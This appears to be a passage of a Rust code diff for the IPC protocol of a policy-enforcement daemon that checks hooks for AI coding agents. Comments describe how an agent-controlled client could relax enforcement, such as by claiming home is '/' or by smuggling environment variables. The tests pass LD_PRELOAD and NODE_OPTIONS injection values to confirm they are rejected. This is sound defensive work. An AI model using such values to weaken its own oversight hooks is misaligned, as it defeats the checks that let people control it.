Daemon package version. + pub daemon_version: String, + /// Milliseconds since the daemon started accepting connections. + pub uptime_ms: u64, +} + +/// `{"error": {"code": …, "message": …}}`. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct ErrorBody { + /// Machine-readable cause. + pub code: ErrorCode, + /// Human-readable detail. For [`ErrorCode::Internal`] the daemon logs the + /// detail and returns a generic message. + pub message: String, +} + +/// The closed set of protocol error codes. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ErrorCode { + /// `host.home` was non-null. + ClientAssertedHome, + /// `host.env_facts` carried a key outside the closed set. + UnknownEnvFact, + /// Daemon-side canonicalization disagreed with the client's. + CanonicalizationMismatch, + /// Declared body length above 1 MiB. + FrameTooLarge, + /// Short read, or a body that is not the expected JSON shape. + MalformedFrame, + /// Could not answer within `deadline_ms`. + DeadlineExceeded, + /// A known-shaped op this build does not implement. + UnsupportedOp, + /// Anything else. + Internal, +} + +impl ErrorCode { + /// The on-wire spelling. + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::ClientAssertedHome => "client_asserted_home", + Self::UnknownEnvFact => "unknown_env_fact", + Self::CanonicalizationMismatch => "canonicalization_mismatch", + Self::FrameTooLarge => "frame_too_large", + Self::MalformedFrame => "malformed_frame", + Self::DeadlineExceeded => "deadline_exceeded", + Self::UnsupportedOp => "unsupported_op", + Self::Internal => "internal", + } + } +} + +impl std::fmt::Display for ErrorCode { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +// --------------------------------------------------------------------------- +// EvaluateHook +// --------------------------------------------------------------------------- + +/// `{"evaluate_hook": {…}}`. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case", deny_unknown_fields)] +pub struct EvaluateHook { + /// Harness id, e.g. `"claude"`. Kept as a string here: the closed set of + /// harness ids and their canonicalization tables belong to `fpai-canon`, + /// and this crate carries no policy knowledge. + pub cli: String, + /// Canonical event type, e.g. `"PreToolUse"`. + pub event_type: String, + /// The harness's own event name before canonicalization. + pub raw_event_type: String, + /// The hook payload, **already canonicalized by the client** for Stage 1. + /// `fpai-canon` re-derives and asserts equality rather than trusting it; a + /// mismatch is a [`ErrorCode::CanonicalizationMismatch`]. + pub payload: serde_json::Map, + /// Session metadata resolved by the client. + pub session: SessionFields, + /// Host context. See [`HostContext::validate`]. + pub host: HostContext, + /// The **remaining** end-to-end budget, not a per-hop timeout. The daemon + /// converts it to a monotonic instant on receipt. + pub deadline_ms: u64, + /// The policy names the client resolved for this event, from its merged + /// project/local/user configuration. + /// + /// **The daemon must evaluate this set, not a set of its own.** An earlier + /// revision had the daemon supply its own default list, which meant a user + /// who had enabled 30 policies got the 11 builtin defaults and nothing + /// else — 19 builtins plus every custom and convention policy silently + /// stopped enforcing the moment the daemon answered. It also made the + /// [`Evaluated::needs_user_context`] fallback unreachable: the worker + /// computes it by partitioning the list it was given, so a + /// daemon-supplied, all-sealed-by-construction list always partitioned to + /// empty and the client never fell back. + /// + /// Sending the client's real set is what makes that fallback mean + /// something. Anything in here the sealed tier cannot run comes back in + /// `needs_user_context`, and the client falls back to legacy rather than + /// enforcing a subset. + /// + /// This carries the same trust as the file the legacy path already reads, + /// and in user scope that is all it can carry: the enabled set lives in a + /// file this user owns, so an authoritative source the agent cannot edit + /// would have to sit outside the user's home and require elevation to + /// write. That is the deferred managed scope, not v1.0.0. + #[serde(default)] + pub enabled_policies: Vec, + /// `true` means "evaluate sealed-only, do not run anything with side + /// effects, the caller is discarding your answer". + #[serde(default)] + pub shadow: bool, +} + +/// Session metadata, resolved client-side. +/// +/// Resolution moved to the client deliberately: `resolveCodexMode` line-scans an +/// entire Codex transcript under `~/.codex/sessions`, an unbounded read on the +/// enforcement deadline path. The client has already paid for that walk on its +/// own schedule; the daemon must be handed the answer, never sent looking for +/// it while a tool call waits. +/// +/// Every field is nullable because not every harness supplies every one; an +/// absent key deserializes the same as an explicit `null`. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case", deny_unknown_fields)] +pub struct SessionFields { + /// Harness session identifier. + #[serde(default)] + pub session_id: Option, + /// Absolute path to the session transcript, or a virtual `-db://`. + #[serde(default)] + pub transcript_path: Option, + /// Harness permission mode, e.g. `"default"`. + #[serde(default)] + pub permission_mode: Option, + /// The harness's own name for the event. + #[serde(default)] + pub hook_event_name: Option, +} + +/// Host context for one evaluation. +/// +/// Three of these four fields are client-asserted and one must not be. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case", deny_unknown_fields)] +pub struct HostContext { + /// **Must be `null`.** See [`HostContext::validate`]. + #[serde(default)] + pub home: Option, + /// Client-asserted working directory. Cannot be derived: `/proc//cwd` + /// is TOCTOU-prone and, on macOS, unreadable for a non-matching UID. + #[serde(default)] + pub cwd: Option, + /// Client-asserted project directory. Client-asserted for the same reason. + #[serde(default)] + pub project_dir: Option, + /// Client-asserted environment facts, from a closed key set. + #[serde(default)] + pub env_facts: EnvFacts, +} + +impl HostContext { + /// Enforce the envelope's two non-negotiable rules. + /// + /// # `home` must be null, and a non-null `home` is rejected — not ignored, not overwritten + /// + /// The daemon derives `home` from `getpwuid_r(peer_uid)`, where `peer_uid` + /// comes from the kernel. A client-supplied `home` is a protocol error. + /// + /// This is not pedantry, and the choice of *reject* over *overwrite* is the + /// substance of it. `isAgentInternalPath` and `block-read-outside-cwd` both + /// **widen** the allow set: a client asserting `home: "/"` would make every + /// path on the machine "agent internal" and relax a verdict that nothing + /// downstream would flag as relaxed. Silently overwriting the field would + /// make that attack a no-op, but it would leave the protocol *looking* like + /// it accepts the field — so the next reader of the wire format, the next + /// client implementation, and the next reviewer would all reasonably + /// conclude that supplying `home` is supported and meaningful. Rejecting + /// makes a client that tries it fail loudly and visibly, at the first + /// request, in a way that shows up in the daemon's error counters rather + /// than nowhere at all. + /// + /// # `env_facts` is a closed set + /// + /// Unknown keys are rejected rather than passed through, because the hook + /// client's environment originates in the agent's process and is therefore + /// under the agent's control. Dropping unknown keys silently would leave + /// the same "looks supported" trap as overwriting `home`; rejecting them + /// keeps the environment from becoming an injection channel. + /// + /// # Errors + /// + /// [`ProtocolError::ClientAssertedHome`] if `home` is `Some`, and + /// [`ProtocolError::UnknownEnvFact`] naming the first offending key, in + /// sorted order, if `env_facts` carries one outside [`KNOWN_ENV_FACTS`]. + pub fn validate(&self) -> Result<(), ProtocolError> { + if let Some(home) = &self.home { + return Err(ProtocolError::ClientAssertedHome { + asserted: home.clone(), + }); + } + self.env_facts.validate() + } +} + +/// The closed `env_facts` map. +/// +/// Modelled as a map rather than a struct of known keys so that an unknown key +/// **survives parsing** and can be named in the [`ErrorCode::UnknownEnvFact`] +/// message. A struct with `deny_unknown_fields` would reject it too, but as an +/// undifferentiated deserialization failure — the client would see +/// `malformed_frame` and have no idea which key it got wrong. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(transparent)] +pub struct EnvFacts(BTreeMap>); + +impl EnvFacts { + /// An empty set. + #[must_use] + pub fn new() -> Self { + Self::default() + } + + /// The set carrying only `CLAUDE_PROJECT_DIR`. + #[must_use] + pub fn with_claude_project_dir(value: Option) -> Self { + let mut facts = Self::new(); + facts.insert(ENV_FACT_CLAUDE_PROJECT_DIR, value); + facts + } + + /// Insert a fact. + /// + /// Accepts any key on purpose: a typed setter could not express an unknown + /// key, which would leave [`EnvFacts::validate`] untestable and would put + /// the closed-set check in two places. [`EnvFacts::validate`] is the single + /// gate. + pub fn insert(&mut self, key: impl Into, value: Option) { + self.0.insert(key.into(), value); + } + + /// Look up a fact. The outer `Option` is "key absent", the inner is "key + /// present and explicitly null". + #[must_use] + pub fn get(&self, key: &str) -> Option> { + self.0.get(key).map(|v| v.as_deref()) + } + + /// `CLAUDE_PROJECT_DIR`, if present and non-null. + #[must_use] + pub fn claude_project_dir(&self) -> Option<&str> { + self.get(ENV_FACT_CLAUDE_PROJECT_DIR).flatten() + } + + /// Every key present, in sorted order. + pub fn keys(&self) -> impl Iterator { + self.0.keys().map(String::as_str) + } + + /// Whether the set is empty. + #[must_use] + pub fn is_empty(&self) -> bool { + self.0.is_empty() + } + + /// Number of keys present. + #[must_use] + pub fn len(&self) -> usize { + self.0.len() + } + + /// Reject any key outside [`KNOWN_ENV_FACTS`]. + /// + /// # Errors + /// + /// [`ProtocolError::UnknownEnvFact`] naming the first offending key in + /// sorted order, so the error is deterministic for a given input. + pub fn validate(&self) -> Result<(), ProtocolError> { + for key in self.keys() { + if !KNOWN_ENV_FACTS.contains(&key) { + return Err(ProtocolError::UnknownEnvFact { + key: key.to_owned(), + }); + } + } + Ok(()) + } +} + +// --------------------------------------------------------------------------- +// Evaluated +// --------------------------------------------------------------------------- + +/// `{"evaluated": {…}}`. +/// +/// `exit_code`, `stdout`, `stderr`, `decision`, `policy_name`, `policy_names`, +/// and `reason` are byte-for-byte the fields `EvaluationResult` already has in +/// `src/hooks/policy-evaluator.ts`, and the client writes them out unchanged. +/// That is what makes byte-exact parity against the TypeScript oracle a +/// meaningful assertion rather than a shape check — so do not "improve" their +/// names or nullability here. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub struct Evaluated { + /// Stable identifier for this decision, `dec-`. + pub decision_id: String, + /// The generation the decision was computed against, `gen-`. + pub generation_id: String, + /// Process exit code the client must exit with. + pub exit_code: i32, + /// Bytes the client must write to stdout, verbatim. + pub stdout: String, + /// Bytes the client must write to stderr, verbatim. + pub stderr: String, + /// The combined decision. + pub decision: Decision, + /// The deciding policy, if exactly one decided. + pub policy_name: Option, + /// The deciding policies, when more than one contributed. + pub policy_names: Option>, + /// Human-readable reason. + pub reason: Option, + /// How much this verdict can be trusted. See [`Attestation`]. + pub attestation: Attestation, + /// Every policy that matched the event. + pub matched_policies: Vec, + /// Policies that matched but could not be evaluated because no per-user + /// agent was attached. + /// + /// **Stage 1 always returns this empty.** A client seeing a non-empty list + /// must fall back to legacy, because otherwise upgrading would silently + /// drop enforcement for a user's mutable policies — precisely the failure + /// this product exists to prevent. + pub needs_user_context: Vec, +} + +/// How much of a verdict rests on inputs the evaluator derived rather than the +/// caller supplied. +/// +/// This is a provenance claim, not an integrity one — in user scope there is no +/// privilege boundary between the caller and the evaluator, so `Sealed` means +/// "no client-asserted host field decided this", never "this could not have +/// been forged". Reporting it is still what keeps a decision that read a +/// client-asserted `cwd` from being presented as if it had not. +/// +/// The variants are **ordered**, from most attested to least: +/// +/// ```text +/// sealed < sealed_unattested < user_context +/// ``` +/// +/// so that **least attested wins when combining**: the combination of two +/// attestations is their [`Ord::max`], and therefore a combined result can +/// never be reported as more attested than its weakest input. Getting this +/// backwards would let a `user_context` contribution be laundered into a +/// `sealed` claim, which is exactly the property the two-tier split exists to +/// provide. +/// +/// [`Ord`] is written by hand rather than derived so that reordering the +/// variants — a cosmetic-looking edit — cannot silently invert the lattice. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum Attestation { + /// Every deciding policy ran in the sealed tier and read no client-asserted + /// host field. + Sealed, + /// Ran sealed, but a deciding policy read `cwd`, `project_dir`, or an env + /// fact — all of which are client-asserted and unverifiable. + SealedUnattested, + /// A `user-context` policy contributed to the decision. Forgeable by the + /// user who owns the agent, and therefore carries no integrity claim. + UserContext, +} + +impl Attestation { + /// Rank in the attestation lattice; lower is more attested. + #[must_use] + pub const fn rank(self) -> u8 { + match self { + Self::Sealed => 0, + Self::SealedUnattested => 1, + Self::UserContext => 2, + } + } + + /// The on-wire spelling. + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::Sealed => "sealed", + Self::SealedUnattested => "sealed_unattested", + Self::UserContext => "user_context", + } + } + + /// Combine two attestations: the weaker of the two wins. + #[must_use] + pub fn combine(self, other: Self) -> Self { + self.max(other) + } + + /// Combine any number of attestations. An empty input is [`Attestation::Sealed`], + /// the identity of this operation. + pub fn combine_all>(items: I) -> Self { + items.into_iter().fold(Self::Sealed, Self::combine) + } +} + +impl Ord for Attestation { + fn cmp(&self, other: &Self) -> std::cmp::Ordering { + self.rank().cmp(&other.rank()) + } +} + +impl PartialOrd for Attestation { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl std::fmt::Display for Attestation { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +// --------------------------------------------------------------------------- +// Protocol errors +// --------------------------------------------------------------------------- + +/// A violation of the envelope contract, distinct from a framing failure. +#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] +pub enum ProtocolError { + /// `host.home` was non-null. + #[error( + "host.home must be null; the daemon derives it from getpwuid_r(peer_uid) (client asserted {asserted:?})" + )] + ClientAssertedHome { + /// What the client tried to assert, for the daemon's log. Never used to + /// compute anything. + asserted: String, + }, + + /// `host.env_facts` carried a key outside [`KNOWN_ENV_FACTS`]. + #[error("host.env_facts key {key:?} is outside the closed set")] + UnknownEnvFact { + /// The offending key. + key: String, + }, +} + +impl ProtocolError { + /// The wire error code for this violation. + #[must_use] + pub const fn code(&self) -> ErrorCode { + match self { + Self::ClientAssertedHome { .. } => ErrorCode::ClientAssertedHome, + Self::UnknownEnvFact { .. } => ErrorCode::UnknownEnvFact, + } + } + + /// Render as the `{"error": {…}}` body. + #[must_use] + pub fn to_body(&self) -> ErrorBody { + ErrorBody { + code: self.code(), + message: self.to_string(), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + fn sample_host() -> HostContext { + HostContext { + home: None, + cwd: Some("/home/u/project".into()), + project_dir: None, + env_facts: EnvFacts::with_claude_project_dir(None), + } + } + + #[test] + fn a_null_home_validates() { + sample_host().validate().unwrap(); + } + + #[test] + fn a_present_home_is_rejected_and_not_overwritten() { + let host = HostContext { + home: Some("/".into()), + ..sample_host() + }; + let err = host.validate().unwrap_err(); + assert_eq!(err.code(), ErrorCode::ClientAssertedHome); + assert!( + matches!(err, ProtocolError::ClientAssertedHome { ref asserted } if asserted == "/") + ); + // The rejected value is still on the struct: validate() reports, it + // never mutates. A caller cannot mistake "we fixed it" for "it passed". + assert_eq!(host.home.as_deref(), Some("/")); + } + + #[test] + fn an_empty_string_home_is_still_an_assertion() { + let host = HostContext { + home: Some(String::new()), + ..sample_host() + }; + assert_eq!( + host.validate().unwrap_err().code(), + ErrorCode::ClientAssertedHome + ); + } + + #[test] + fn an_unknown_env_fact_is_rejected_and_named() { + let mut host = sample_host(); + host.env_facts + .insert("LD_PRELOAD", Some("/tmp/evil.so".into())); + let err = host.validate().unwrap_err(); + assert_eq!(err.code(), ErrorCode::UnknownEnvFact); + assert!(matches!(err, ProtocolError::UnknownEnvFact { ref key } if key == "LD_PRELOAD")); + assert!(err.to_string().contains("LD_PRELOAD")); + } + + #[test] + fn an_unknown_env_fact_survives_parsing_so_it_can_be_named() { + let host: HostContext = serde_json::from_value(json!({ + "home": null, + "cwd": "/home/u/project", + "project_dir": null, + "env_facts": { "CLAUDE_PROJECT_DIR": null, "NODE_OPTIONS": "--require /tmp/x.js" } + })) + .expect("env_facts is a map, so an unknown key must parse rather than fail here"); + assert_eq!(host.env_facts.len(), 2); + assert!(matches!( + host.validate().unwrap_err(), + ProtocolError::UnknownEnvFact { ref key } if key == "NODE_OPTIONS" + )); + } + + #[test] + fn home_is_checked_before_env_facts() { + let mut host = HostContext { + home: Some("/".into()), + ..sample_host() + }; + host.env_facts.insert("NOPE", None); + assert_eq!( + host.validate().unwrap_err().code(), + ErrorCode::ClientAssertedHome + ); + } + + #[test] + fn an_unknown_top_level_field_is_rejected() { + let err = serde_json::from_value::(json!({ + "home": null, "cwd": null, "project_dir": null, + "env_facts": {}, "home_dir": "/root" + })) + .unwrap_err(); + assert!(err.to_string().contains("home_dir"), "{err}"); + + let err = serde_json::from_value::(json!({ + "protocol_version": 1, "client": "x", "client_version": "1", "extra": true + })) + .unwrap_err(); + assert!(err.to_string().contains("extra"), "{err}"); + + let err = serde_json::from_value::(json!({ "sessionId": "s" })).unwrap_err(); + assert!(err.to_string().contains("sessionId"), "{err}"); + + let err = serde_json::from_value::(json!({ "force": true })).unwrap_err(); + assert!(err.to_string().contains("force"), "{err}"); + } + + #[test] + fn absent_nullable_fields_deserialize_as_null() { + let host: HostContext = serde_json::from_value(json!({})).unwrap(); + assert_eq!(host, HostContext::default()); + // …and re-serialize with every key explicitly present, as the protocol + // examples show them. + assert_eq!( + serde_json::to_value(&host).unwrap(), + json!({ "home": null, "cwd": null, "project_dir": null, "env_facts": {} }) + ); + } + + #[test] + fn attestation_orders_from_most_to_least_attested() { + assert!(Attestation::Sealed < Attestation::SealedUnattested); + assert!(Attestation::SealedUnattested < Attestation::UserContext); + assert_eq!( + Attestation::Sealed.combine(Attestation::UserContext), + Attestation::UserContext + ); + assert_eq!( + Attestation::combine_all([Attestation::Sealed, Attestation::SealedUnattested]), + Attestation::SealedUnattested + ); + assert_eq!(Attestation::combine_all([]), Attestation::Sealed); + } + + #[test] + fn error_codes_have_the_documented_spellings() { + for (code, spelling) in [ + (ErrorCode::ClientAssertedHome, "client_asserted_home"), + (ErrorCode::UnknownEnvFact, "unknown_env_fact"), + ( + ErrorCode::CanonicalizationMismatch, + "canonicalization_mismatch", + ), + (ErrorCode::FrameTooLarge, "frame_too_large"), + (ErrorCode::MalformedFrame, "malformed_frame"), + (ErrorCode::DeadlineExceeded, "deadline_exceeded"), + (ErrorCode::UnsupportedOp, "unsupported_op"), + (ErrorCode::Internal, "internal"), + ] { + assert_eq!(code.as_str(), spelling); + assert_eq!(serde_json::to_value(code).unwrap(), json!(spelling)); + } + } + + #[test] + fn attestation_wire_spellings_match_the_protocol_table() { + for (value, spelling) in [ + (Attestation::Sealed, "sealed"), + (Attestation::SealedUnattested, "sealed_unattested"), + (Attestation::UserContext, "user_context"), + ] { + assert_eq!(value.as_str(), spelling); + assert_eq!(serde_json::to_value(value).unwrap(), json!(spelling)); + } + } + + #[test] + fn version_mismatch_is_built_from_the_supported_set() { + let mismatch = VersionMismatch::for_received(2); + assert_eq!(mismatch.supported, vec![1]); + assert_eq!(mismatch.received, 2); + assert!(is_supported_protocol_version(PROTOCOL_VERSION)); + assert!(!is_supported_protocol_version(2)); + } + + #[test] + fn responses_are_correlated_by_request_id() { + let response = Response::error("req-1", ErrorCode::Internal, "boom"); + assert!(response.is_reply_to("req-1")); + assert!(!response.is_reply_to("req-2")); + } + + #[test] + fn ping_serializes_as_an_empty_object() { + assert_eq!( + serde_json::to_value(Op::Ping(Ping {})).unwrap(), + json!({ "ping": {} }) + ); + } +} diff --git a/crates/fpai-ipc/src/framing.rs b/crates/fpai-ipc/src/framing.rs new file mode 100644 index 00000000..7a2d3ea4 --- /dev/null +++ b/crates/fpai-ipc/src/framing.rs @@ -0,0 +1,524 @@ +//! Length-prefixed framing for the `failproofaid` local IPC protocol. +//! +//! ```text +//! +--------+--------------------+ +//! | u32 BE | body (UTF-8 JSON) | +//! +--------+--------------------+ +//! length length bytes +//! ``` +//! +//! Length-prefixed rather than newline-delimited because payloads carry +//! arbitrary tool input, including newlines. +//! +//! Both a synchronous (`std::io`) and an asynchronous (`tokio::io`) pair are +//! provided. The daemon is a tokio listener and uses the async pair; the +//! transient hook client opens one socket, writes one frame, reads one frame and +//! exits, so it uses the sync pair and can build with +//! `default-features = false`. The two share `validate_declared` and +//! `encode_len`, so the size rules cannot drift between them. + +use std::io::{self, Read, Write}; + +/// Maximum body length, in bytes: 1 MiB. +/// +/// This matches the existing 1 MB stdin cap in `handleHookEvent`, so a payload +/// that the legacy path would have discarded cannot become a daemon-path OOM +/// instead. +pub const MAX_FRAME_BODY: usize = 1_048_576; + +/// Width of the big-endian length prefix. +pub const LENGTH_PREFIX_LEN: usize = 4; + +/// A framing-layer failure. +/// +/// The three EOF cases are deliberately distinct constructors rather than one +/// `UnexpectedEof`: [`FrameError::Closed`] is a *clean disconnect* (the peer +/// went away between frames, which is normal and not an error to report), while +/// [`FrameError::TruncatedLength`] and [`FrameError::TruncatedBody`] mean the +/// peer died mid-frame and the connection is no longer interpretable. +#[derive(Debug, thiserror::Error)] +pub enum FrameError { + /// EOF at a frame boundary: the peer closed cleanly. Not a protocol error. + #[error("peer closed the connection at a frame boundary")] + Closed, + + /// EOF after a partial length prefix. + #[error("peer closed after {read} of {LENGTH_PREFIX_LEN} length-prefix bytes")] + TruncatedLength { + /// How many of the four prefix bytes arrived before EOF (1..=3). + read: usize, + }, + + /// EOF part-way through a body whose length had already been declared. + #[error("peer closed after {read} of {declared} declared body bytes")] + TruncatedBody { + /// The length the prefix declared. + declared: usize, + /// How many body bytes arrived before EOF. + read: usize, + }, + + /// A declared (or requested) body length above [`MAX_FRAME_BODY`]. + /// + /// Raised *before* the body buffer is allocated, so a hostile `u32::MAX` + /// prefix costs four bytes of read, not 4 GiB of memory. + #[error("declared body length {declared} exceeds the 1 MiB maximum")] + TooLarge { + /// The rejected length, as declared on the wire. + declared: u32, + }, + + /// A zero-length body. + /// + /// A frame carries exactly one JSON value, and the shortest legal encoding + /// of a JSON value is one byte, so a zero-length body is malformed rather + /// than an "empty message". + #[error("zero-length body is not a valid frame")] + ZeroLength, + + /// The underlying transport failed. + #[error(transparent)] + Io(#[from] io::Error), +} + +impl FrameError { + /// Whether this is the normal end of a connection rather than a fault. + /// + /// A listener loop uses this to distinguish "the client finished" from "the + /// client crashed mid-frame", which are logged very differently. + #[must_use] + pub const fn is_clean_disconnect(&self) -> bool { + matches!(self, Self::Closed) + } + + /// The protocol error code to report to the peer, if one can be reported. + /// + /// [`FrameError::Closed`] and [`FrameError::Io`] return `None`: in both + /// cases the transport is already gone, so there is nothing to write a + /// reply onto. Everything else is answerable, and PROTOCOL.md requires the + /// daemon to answer if it can before closing. + #[must_use] + pub const fn error_code(&self) -> Option { + use crate::envelope::ErrorCode; + match self { + Self::Closed | Self::Io(_) => None, + Self::TooLarge { .. } => Some(ErrorCode::FrameTooLarge), + Self::TruncatedLength { .. } | Self::TruncatedBody { .. } | Self::ZeroLength => { + Some(ErrorCode::MalformedFrame) + } + } + } +} + +/// Validate a length read off the wire, **before** any allocation. +/// +/// The ordering here is the whole point of the function: nothing in this crate +/// may turn an attacker-chosen `u32` into a capacity. +fn validate_declared(declared: u32) -> Result { + if declared == 0 { + return Err(FrameError::ZeroLength); + } + if u64::from(declared) > MAX_FRAME_BODY as u64 { + return Err(FrameError::TooLarge { declared }); + } + // Infallible: `declared` is now known to be in 1..=MAX_FRAME_BODY, and + // MAX_FRAME_BODY is a usize. + Ok(declared as usize) +} + +/// Validate an outbound body and compute its prefix. +fn encode_len(body: &[u8]) -> Result { + // Saturating, only ever used to fill in the error's diagnostic field. + let declared = u32::try_from(body.len()).unwrap_or(u32::MAX); + if body.is_empty() { + return Err(FrameError::ZeroLength); + } + if body.len() > MAX_FRAME_BODY { + return Err(FrameError::TooLarge { declared }); + } + Ok(declared) +} + +/// Build the on-wire bytes for one frame. +/// +/// The prefix and body are emitted from a single buffer so that one `write_all` +/// carries the whole frame: a failure part-way through cannot leave a length +/// prefix on the stream with no body behind it, which would desynchronize the +/// peer permanently. The extra copy is bounded by [`MAX_FRAME_BODY`]. +fn frame_bytes(body: &[u8]) -> Result, FrameError> { + let declared = encode_len(body)?; + let mut framed = Vec::with_capacity(LENGTH_PREFIX_LEN + body.len()); + framed.extend_from_slice(&declared.to_be_bytes()); + framed.extend_from_slice(body); + Ok(framed) +} + +/// Read into `buf` until it is full or the peer closes; return how much arrived. +fn fill(r: &mut R, buf: &mut [u8]) -> io::Result { + let mut filled = 0; + while filled < buf.len() { + match r.read(&mut buf[filled..]) { + Ok(0) => break, + Ok(n) => filled += n, + Err(e) if e.kind() == io::ErrorKind::Interrupted => {} + Err(e) => return Err(e), + } + } + Ok(filled) +} + +/// Write one frame: big-endian `u32` length prefix followed by `body`. +/// +/// Does not flush; wrap the writer in a `BufWriter` and flush at the call site +/// if that is what you want. +/// +/// # Errors +/// +/// [`FrameError::ZeroLength`] for an empty body, [`FrameError::TooLarge`] for a +/// body above [`MAX_FRAME_BODY`], [`FrameError::Io`] if the transport fails. +/// +/// ``` +/// use fpai_ipc::framing::{read_frame, write_frame}; +/// +/// let mut wire = Vec::new(); +/// write_frame(&mut wire, br#"{"hello":{}}"#).unwrap(); +/// assert_eq!(&wire[..4], &[0, 0, 0, 12]); +/// assert_eq!(read_frame(&mut wire.as_slice()).unwrap(), br#"{"hello":{}}"#); +/// ``` +pub fn write_frame(w: &mut W, body: &[u8]) -> Result<(), FrameError> { + w.write_all(&frame_bytes(body)?)?; + Ok(()) +} + +/// Read one frame, returning its body. +/// +/// # Errors +/// +/// [`FrameError::Closed`] at a clean frame boundary, [`FrameError::TruncatedLength`] +/// or [`FrameError::TruncatedBody`] on a short read, [`FrameError::TooLarge`] for +/// a declared length above [`MAX_FRAME_BODY`] (raised before allocating), +/// [`FrameError::ZeroLength`] for a declared length of zero, [`FrameError::Io`] +/// if the transport fails. +pub fn read_frame(r: &mut R) -> Result, FrameError> { + let mut prefix = [0u8; LENGTH_PREFIX_LEN]; + match fill(r, &mut prefix)? { + 0 => return Err(FrameError::Closed), + LENGTH_PREFIX_LEN => {} + read => return Err(FrameError::TruncatedLength { read }), + } + + let declared = validate_declared(u32::from_be_bytes(prefix))?; + + let mut body = vec![0u8; declared]; + let read = fill(r, &mut body)?; + if read != declared { + return Err(FrameError::TruncatedBody { declared, read }); + } + Ok(body) +} + +#[cfg(feature = "tokio")] +mod asynchronous { + use super::{FrameError, LENGTH_PREFIX_LEN, frame_bytes, validate_declared}; + use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; + + /// Read into `buf` until it is full or the peer closes; return how much arrived. + /// + /// `AsyncReadExt::read_exact` is deliberately not used: it collapses every + /// EOF into one `UnexpectedEof`, which would erase the clean-disconnect / + /// truncated-frame distinction the sync path preserves. + async fn fill( + r: &mut R, + buf: &mut [u8], + ) -> std::io::Result { + let mut filled = 0; + while filled < buf.len() { + match r.read(&mut buf[filled..]).await { + Ok(0) => break, + Ok(n) => filled += n, + Err(e) if e.kind() == std::io::ErrorKind::Interrupted => {} + Err(e) => return Err(e), + } + } + Ok(filled) + } + + /// Async [`super::write_frame`]. + /// + /// # Errors + /// + /// Identical to [`super::write_frame`]. + pub async fn write_frame_async( + w: &mut W, + body: &[u8], + ) -> Result<(), FrameError> { + w.write_all(&frame_bytes(body)?).await?; + Ok(()) + } + + /// Async [`super::read_frame`]. + /// + /// # Errors + /// + /// Identical to [`super::read_frame`], including rejecting an oversize + /// declared length before allocating the body buffer. + pub async fn read_frame_async( + r: &mut R, + ) -> Result, FrameError> { + let mut prefix = [0u8; LENGTH_PREFIX_LEN]; + match fill(r, &mut prefix).await? { + 0 => return Err(FrameError::Closed), + LENGTH_PREFIX_LEN => {} + read => return Err(FrameError::TruncatedLength { read }), + } + + let declared = validate_declared(u32::from_be_bytes(prefix))?; + + let mut body = vec![0u8; declared]; + let read = fill(r, &mut body).await?; + if read != declared { + return Err(FrameError::TruncatedBody { declared, read }); + } + Ok(body) + } +} + +#[cfg(feature = "tokio")] +pub use asynchronous::{read_frame_async, write_frame_async}; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn round_trips_a_body() { + let mut wire = Vec::new(); + write_frame(&mut wire, b"{}").unwrap(); + assert_eq!(wire, vec![0, 0, 0, 2, b'{', b'}']); + assert_eq!(read_frame(&mut wire.as_slice()).unwrap(), b"{}"); + } + + #[test] + fn reads_frames_back_to_back_then_reports_clean_close() { + let mut wire = Vec::new(); + write_frame(&mut wire, b"{\"a\":1}").unwrap(); + write_frame(&mut wire, b"{\"b\":2}").unwrap(); + + let mut cursor = wire.as_slice(); + assert_eq!(read_frame(&mut cursor).unwrap(), b"{\"a\":1}"); + assert_eq!(read_frame(&mut cursor).unwrap(), b"{\"b\":2}"); + + let err = read_frame(&mut cursor).unwrap_err(); + assert!(matches!(err, FrameError::Closed), "got {err:?}"); + assert!(err.is_clean_disconnect()); + assert_eq!(err.error_code(), None); + } + + #[test] + fn eof_mid_body_is_distinct_from_eof_at_a_boundary() { + let mut wire = Vec::new(); + write_frame(&mut wire, b"{\"abc\":1}").unwrap(); + wire.truncate(wire.len() - 3); + + let err = read_frame(&mut wire.as_slice()).unwrap_err(); + assert!( + matches!( + err, + FrameError::TruncatedBody { + declared: 9, + read: 6 + } + ), + "got {err:?}" + ); + assert!(!err.is_clean_disconnect()); + assert_eq!( + err.error_code(), + Some(crate::envelope::ErrorCode::MalformedFrame) + ); + } + + #[test] + fn eof_mid_length_prefix_is_truncation_not_a_clean_close() { + let err = read_frame(&mut [0u8, 0, 1].as_slice()).unwrap_err(); + assert!( + matches!(err, FrameError::TruncatedLength { read: 3 }), + "got {err:?}" + ); + assert!(!err.is_clean_disconnect()); + } + + #[test] + fn zero_length_body_is_malformed_in_both_directions() { + let err = read_frame(&mut [0u8, 0, 0, 0].as_slice()).unwrap_err(); + assert!(matches!(err, FrameError::ZeroLength), "got {err:?}"); + + let err = write_frame(&mut Vec::new(), b"").unwrap_err(); + assert!(matches!(err, FrameError::ZeroLength), "got {err:?}"); + } + + #[test] + fn accepts_a_body_of_exactly_the_maximum() { + let body = vec![b'x'; MAX_FRAME_BODY]; + let mut wire = Vec::new(); + write_frame(&mut wire, &body).unwrap(); + 